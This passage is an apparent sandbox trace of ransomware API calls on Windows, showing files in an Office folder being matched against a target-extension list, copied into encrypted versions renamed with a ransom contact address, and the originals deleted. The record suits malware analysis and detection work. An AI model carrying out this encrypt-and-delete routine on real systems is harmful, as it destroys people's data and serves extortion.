-1 [0147.919] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0090-0409-1000-0000000FF1CE.xml") returned 104 [0147.919] lstrlenW (lpString=".jpg") returned 4 [0147.919] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0147.919] lstrcmpiW (lpString1=".xml", lpString2=".com") returned 1 [0147.919] lstrlenW (lpString="AppXManifest.90160000-00BA-0000-1000-0000000FF1CE.xml") returned 53 [0147.919] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00BA-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00ba-0000-1000-0000000ff1ce.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10c0 [0147.921] GetFileSizeEx (in: hFile=0x10c0, lpFileSize=0x320ff14 | out: lpFileSize=0x320ff14*=9216) returned 1 [0147.921] CloseHandle (hObject=0x10c0) returned 1 [0147.921] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00BA-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00ba-0000-1000-0000000ff1ce.xml")) returned 0x220 [0147.921] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00BA-0000-1000-0000000FF1CE.xml.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00ba-0000-1000-0000000ff1ce.xml.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0147.921] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00BA-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00ba-0000-1000-0000000ff1ce.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10c0 [0147.921] SetFilePointerEx (in: hFile=0x10c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x320fec0 | out: lpNewFilePointer=0x0) returned 1 [0147.921] SetFilePointerEx (in: hFile=0x10c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x320fec0 | out: lpNewFilePointer=0x0) returned 1 [0147.921] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00BA-0000-1000-0000000FF1CE.xml.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00ba-0000-1000-0000000ff1ce.xml.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x108c [0147.928] GetLastError () returned 0x0 [0147.928] ReadFile (in: hFile=0x10c0, lpBuffer=0x3bf2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x320fecc, lpOverlapped=0x0 | out: lpBuffer=0x3bf2020*, lpNumberOfBytesRead=0x320fecc*=0x2400, lpOverlapped=0x0) returned 1 [0147.994] WriteFile (in: hFile=0x108c, lpBuffer=0x3bf2020*, nNumberOfBytesToWrite=0x2410, lpNumberOfBytesWritten=0x320fc94, lpOverlapped=0x0 | out: lpBuffer=0x3bf2020*, lpNumberOfBytesWritten=0x320fc94*=0x2410, lpOverlapped=0x0) returned 1 [0147.995] ReadFile (in: hFile=0x10c0, lpBuffer=0x3bf2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x320fecc, lpOverlapped=0x0 | out: lpBuffer=0x3bf2020*, lpNumberOfBytesRead=0x320fecc*=0x0, lpOverlapped=0x0) returned 1 [0147.995] WriteFile (in: hFile=0x108c, lpBuffer=0x3bf2020*, nNumberOfBytesToWrite=0x13e, lpNumberOfBytesWritten=0x320fc94, lpOverlapped=0x0 | out: lpBuffer=0x3bf2020*, lpNumberOfBytesWritten=0x320fc94*=0x13e, lpOverlapped=0x0) returned 1 [0147.995] SetEndOfFile (hFile=0x108c) returned 1 [0147.995] CloseHandle (hObject=0x108c) returned 1 [0147.996] SetFilePointerEx (in: hFile=0x10c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x320fec0 | out: lpNewFilePointer=0x0) returned 1 [0147.996] SetEndOfFile (hFile=0x10c0) returned 1 [0147.997] CloseHandle (hObject=0x10c0) returned 1 [0147.997] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00BA-0000-1000-0000000FF1CE.xml.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x220) returned 1 [0147.997] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00BA-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00ba-0000-1000-0000000ff1ce.xml")) returned 1 [0147.997] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00BA-0000-1000-0000000FF1CE.xml") returned 104 [0147.997] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00BA-0000-1000-0000000FF1CE.xml") returned 104 [0147.997] lstrlenW (lpString=".doc") returned 4 [0147.997] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0147.997] lstrlenW (lpString=".docx") returned 5 [0147.997] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1 [0147.997] lstrlenW (lpString=".pdf") returned 4 [0147.997] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0147.998] lstrlenW (lpString=".xls") returned 4 [0147.998] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0147.998] lstrlenW (lpString=".xlsx") returned 5 [0147.998] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1 [0147.998] lstrlenW (lpString=".ppt") returned 4 [0147.998] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0147.998] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00BA-0000-1000-0000000FF1CE.xml") returned 104 [0147.998] lstrlenW (lpString=".zip") returned 4 [0147.998] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0147.998] lstrlenW (lpString=".rar") returned 4 [0147.998] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0147.998] lstrlenW (lpString=".bz2") returned 4 [0147.998] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0147.998] lstrlenW (lpString=".7z") returned 3 [0147.998] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0147.998] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00BA-0000-1000-0000000FF1CE.xml") returned 104 [0147.998] lstrlenW (lpString=".dbf") returned 4 [0147.998] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0147.998] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00BA-0000-1000-0000000FF1CE.xml") returned 104 [0147.998] lstrlenW (lpString=".1cd") returned 4 [0147.998] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0147.998] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00BA-0000-1000-0000000FF1CE.xml") returned 104 [0147.998] lstrlenW (lpString=".jpg") returned 4 [0147.998] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0147.998] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00BA-0000-1000-0000000FF1CE.xml") returned 104 [0147.998] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00BA-0000-1000-0000000FF1CE.xml") returned 104 [0147.998] lstrlenW (lpString=".doc") returned 4 [0147.998] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0147.998] lstrlenW (lpString=".docx") returned 5 [0147.998] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1 [0147.998] lstrlenW (lpString=".pdf") returned 4 [0147.998] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0147.998] lstrlenW (lpString=".xls") returned 4 [0147.998] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0147.998] lstrlenW (lpString=".xlsx") returned 5 [0147.999] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1 [0147.999] lstrlenW (lpString=".ppt") returned 4 [0147.999] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0147.999] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00BA-0000-1000-0000000FF1CE.xml") returned 104 [0147.999] lstrlenW (lpString=".zip") returned 4 [0147.999] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0147.999] lstrlenW (lpString=".rar") returned 4 [0147.999] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0147.999] lstrlenW (lpString=".bz2") returned 4 [0147.999] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0147.999] lstrlenW (lpString=".7z") returned 3 [0147.999] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0147.999] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00BA-0000-1000-0000000FF1CE.xml") returned 104 [0147.999] lstrlenW (lpString=".dbf") returned 4 [0147.999] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0147.999] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00BA-0000-1000-0000000FF1CE.xml") returned 104 [0147.999] lstrlenW (lpString=".1cd") returned 4 [0147.999] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0147.999] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00BA-0000-1000-0000000FF1CE.xml") returned 104 [0147.999] lstrlenW (lpString=".jpg") returned 4 [0147.999] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0147.999] lstrcmpiW (lpString1=".xml", lpString2=".com") returned 1 [0147.999] lstrlenW (lpString="AppXManifest.90160000-00E1-0000-1000-0000000FF1CE.xml") returned 53 [0147.999] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E1-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00e1-0000-1000-0000000ff1ce.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10c0 [0147.999] GetFileSizeEx (in: hFile=0x10c0, lpFileSize=0x320ff14 | out: lpFileSize=0x320ff14*=1450) returned 1 [0148.000] CloseHandle (hObject=0x10c0) returned 1 [0148.000] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E1-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00e1-0000-1000-0000000ff1ce.xml")) returned 0x220 [0148.000] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E1-0000-1000-0000000FF1CE.xml.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00e1-0000-1000-0000000ff1ce.xml.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0148.000] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E1-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00e1-0000-1000-0000000ff1ce.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10c0 [0148.000] SetFilePointerEx (in: hFile=0x10c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x320fec0 | out: lpNewFilePointer=0x0) returned 1 [0148.000] SetFilePointerEx (in: hFile=0x10c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x320fec0 | out: lpNewFilePointer=0x0) returned 1 [0148.000] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E1-0000-1000-0000000FF1CE.xml.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00e1-0000-1000-0000000ff1ce.xml.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x108c [0148.000] GetLastError () returned 0x0 [0148.000] ReadFile (in: hFile=0x10c0, lpBuffer=0x3bf2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x320fecc, lpOverlapped=0x0 | out: lpBuffer=0x3bf2020*, lpNumberOfBytesRead=0x320fecc*=0x5aa, lpOverlapped=0x0) returned 1 [0148.114] WriteFile (in: hFile=0x108c, lpBuffer=0x3bf2020*, nNumberOfBytesToWrite=0x5b0, lpNumberOfBytesWritten=0x320fc94, lpOverlapped=0x0 | out: lpBuffer=0x3bf2020*, lpNumberOfBytesWritten=0x320fc94*=0x5b0, lpOverlapped=0x0) returned 1 [0148.115] ReadFile (in: hFile=0x10c0, lpBuffer=0x3bf2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x320fecc, lpOverlapped=0x0 | out: lpBuffer=0x3bf2020*, lpNumberOfBytesRead=0x320fecc*=0x0, lpOverlapped=0x0) returned 1 [0148.115] WriteFile (in: hFile=0x108c, lpBuffer=0x3bf2020*, nNumberOfBytesToWrite=0x13e, lpNumberOfBytesWritten=0x320fc94, lpOverlapped=0x0 | out: lpBuffer=0x3bf2020*, lpNumberOfBytesWritten=0x320fc94*=0x13e, lpOverlapped=0x0) returned 1 [0148.115] SetEndOfFile (hFile=0x108c) returned 1 [0148.115] CloseHandle (hObject=0x108c) returned 1 [0148.116] SetFilePointerEx (in: hFile=0x10c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x320fec0 | out: lpNewFilePointer=0x0) returned 1 [0148.116] SetEndOfFile (hFile=0x10c0) returned 1 [0148.117] CloseHandle (hObject=0x10c0) returned 1 [0148.117] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E1-0000-1000-0000000FF1CE.xml.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x220) returned 1 [0148.117] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E1-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00e1-0000-1000-0000000ff1ce.xml")) returned 1 [0148.117] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E1-0000-1000-0000000FF1CE.xml") returned 104 [0148.117] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E1-0000-1000-0000000FF1CE.xml") returned 104 [0148.117] lstrlenW (lpString=".doc") returned 4 [0148.118] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0148.118] lstrlenW (lpString=".docx") returned 5 [0148.118] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1 [0148.118] lstrlenW (lpString=".pdf") returned 4 [0148.118] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0148.118] lstrlenW (lpString=".xls") returned 4 [0148.118] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0148.118] lstrlenW (lpString=".xlsx") returned 5 [0148.118] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1 [0148.118] lstrlenW (lpString=".ppt") returned 4 [0148.118] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0148.118] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E1-0000-1000-0000000FF1CE.xml") returned 104 [0148.118] lstrlenW (lpString=".zip") returned 4 [0148.118] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0148.118] lstrlenW (lpString=".rar") returned 4 [0148.118] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0148.118] lstrlenW (lpString=".bz2") returned 4 [0148.118] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0148.118] lstrlenW (lpString=".7z") returned 3 [0148.118] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0148.118] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E1-0000-1000-0000000FF1CE.xml") returned 104 [0148.118] lstrlenW (lpString=".dbf") returned 4 [0148.118] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0148.118] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E1-0000-1000-0000000FF1CE.xml") returned 104 [0148.118] lstrlenW (lpString=".1cd") returned 4 [0148.119] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0148.119] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E1-0000-1000-0000000FF1CE.xml") returned 104 [0148.119] lstrlenW (lpString=".jpg") returned 4 [0148.119] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0148.119] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E1-0000-1000-0000000FF1CE.xml") returned 104 [0148.119] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E1-0000-1000-0000000FF1CE.xml") returned 104 [0148.119] lstrlenW (lpString=".doc") returned 4 [0148.119] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0148.119] lstrlenW (lpString=".docx") returned 5 [0148.119] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1 [0148.119] lstrlenW (lpString=".pdf") returned 4 [0148.119] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0148.119] lstrlenW (lpString=".xls") returned 4 [0148.119] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0148.119] lstrlenW (lpString=".xlsx") returned 5 [0148.119] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1 [0148.119] lstrlenW (lpString=".ppt") returned 4 [0148.119] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0148.119] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E1-0000-1000-0000000FF1CE.xml") returned 104 [0148.119] lstrlenW (lpString=".zip") returned 4 [0148.119] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0148.119] lstrlenW (lpString=".rar") returned 4 [0148.119] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0148.119] lstrlenW (lpString=".bz2") returned 4 [0148.119] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0148.119] lstrlenW (lpString=".7z") returned 3 [0148.119] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0148.119] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E1-0000-1000-0000000FF1CE.xml") returned 104 [0148.119] lstrlenW (lpString=".dbf") returned 4 [0148.119] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0148.119] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E1-0000-1000-0000000FF1CE.xml") returned 104 [0148.119] lstrlenW (lpString=".1cd") returned 4 [0148.120] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0148.120] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E1-0000-1000-0000000FF1CE.xml") returned 104 [0148.120] lstrlenW (lpString=".jpg") returned 4 [0148.120] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0148.120] lstrcmpiW (lpString1=".xml", lpString2=".com") returned 1 [0148.120] lstrlenW (lpString="AppXManifest.90160000-00E2-0409-1000-0000000FF1CE.xml") returned 53 [0148.120] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E2-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00e2-0409-1000-0000000ff1ce.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10c0 [0148.120] GetFileSizeEx (in: hFile=0x10c0, lpFileSize=0x320ff14 | out: lpFileSize=0x320ff14*=1261) returned 1 [0148.120] CloseHandle (hObject=0x10c0) returned 1 [0148.120] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E2-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00e2-0409-1000-0000000ff1ce.xml")) returned 0x220 [0148.120] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E2-0409-1000-0000000FF1CE.xml.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00e2-0409-1000-0000000ff1ce.xml.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0148.120] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E2-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00e2-0409-1000-0000000ff1ce.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10c0 [0148.120] SetFilePointerEx (in: hFile=0x10c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x320fec0 | out: lpNewFilePointer=0x0) returned 1 [0148.121] SetFilePointerEx (in: hFile=0x10c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x320fec0 | out: lpNewFilePointer=0x0) returned 1 [0148.121] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E2-0409-1000-0000000FF1CE.xml.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00e2-0409-1000-0000000ff1ce.xml.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x108c [0148.121] GetLastError () returned 0x0 [0148.121] ReadFile (in: hFile=0x10c0, lpBuffer=0x3bf2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x320fecc, lpOverlapped=0x0 | out: lpBuffer=0x3bf2020*, lpNumberOfBytesRead=0x320fecc*=0x4ed, lpOverlapped=0x0) returned 1 [0148.262] WriteFile (in: hFile=0x108c, lpBuffer=0x3bf2020*, nNumberOfBytesToWrite=0x4f0, lpNumberOfBytesWritten=0x320fc94, lpOverlapped=0x0 | out: lpBuffer=0x3bf2020*, lpNumberOfBytesWritten=0x320fc94*=0x4f0, lpOverlapped=0x0) returned 1 [0148.263] ReadFile (in: hFile=0x10c0, lpBuffer=0x3bf2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x320fecc, lpOverlapped=0x0 | out: lpBuffer=0x3bf2020*, lpNumberOfBytesRead=0x320fecc*=0x0, lpOverlapped=0x0) returned 1 [0148.263] WriteFile (in: hFile=0x108c, lpBuffer=0x3bf2020*, nNumberOfBytesToWrite=0x13e, lpNumberOfBytesWritten=0x320fc94, lpOverlapped=0x0 | out: lpBuffer=0x3bf2020*, lpNumberOfBytesWritten=0x320fc94*=0x13e, lpOverlapped=0x0) returned 1 [0148.263] SetEndOfFile (hFile=0x108c) returned 1 [0148.263] CloseHandle (hObject=0x108c) returned 1 [0148.265] SetFilePointerEx (in: hFile=0x10c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x320fec0 | out: lpNewFilePointer=0x0) returned 1 [0148.265] SetEndOfFile (hFile=0x10c0) returned 1 [0148.266] CloseHandle (hObject=0x10c0) returned 1 [0148.266] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E2-0409-1000-0000000FF1CE.xml.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x220) returned 1 [0148.266] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E2-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00e2-0409-1000-0000000ff1ce.xml")) returned 1 [0148.267] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E2-0409-1000-0000000FF1CE.xml") returned 104 [0148.267] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E2-0409-1000-0000000FF1CE.xml") returned 104 [0148.267] lstrlenW (lpString=".doc") returned 4 [0148.267] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0148.267] lstrlenW (lpString=".docx") returned 5 [0148.267] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1 [0148.267] lstrlenW (lpString=".pdf") returned 4 [0148.267] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0148.267] lstrlenW (lpString=".xls") returned 4 [0148.267] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0148.267] lstrlenW (lpString=".xlsx") returned 5 [0148.267] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1 [0148.267] lstrlenW (lpString=".ppt") returned 4 [0148.267] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0148.267] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E2-0409-1000-0000000FF1CE.xml") returned 104 [0148.267] lstrlenW (lpString=".zip") returned 4 [0148.267] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0148.267] lstrlenW (lpString=".rar") returned 4 [0148.267] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0148.267] lstrlenW (lpString=".bz2") returned 4 [0148.267] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0148.267] lstrlenW (lpString=".7z") returned 3 [0148.267] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0148.267] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E2-0409-1000-0000000FF1CE.xml") returned 104 [0148.267] lstrlenW (lpString=".dbf") returned 4 [0148.267] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0148.267] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E2-0409-1000-0000000FF1CE.xml") returned 104 [0148.267] lstrlenW (lpString=".1cd") returned 4 [0148.268] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0148.268] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E2-0409-1000-0000000FF1CE.xml") returned 104 [0148.268] lstrlenW (lpString=".jpg") returned 4 [0148.268] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0148.268] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E2-0409-1000-0000000FF1CE.xml") returned 104 [0148.268] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E2-0409-1000-0000000FF1CE.xml") returned 104 [0148.268] lstrlenW (lpString=".doc") returned 4 [0148.268] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0148.268] lstrlenW (lpString=".docx") returned 5 [0148.268] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1 [0148.268] lstrlenW (lpString=".pdf") returned 4 [0148.268] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0148.268] lstrlenW 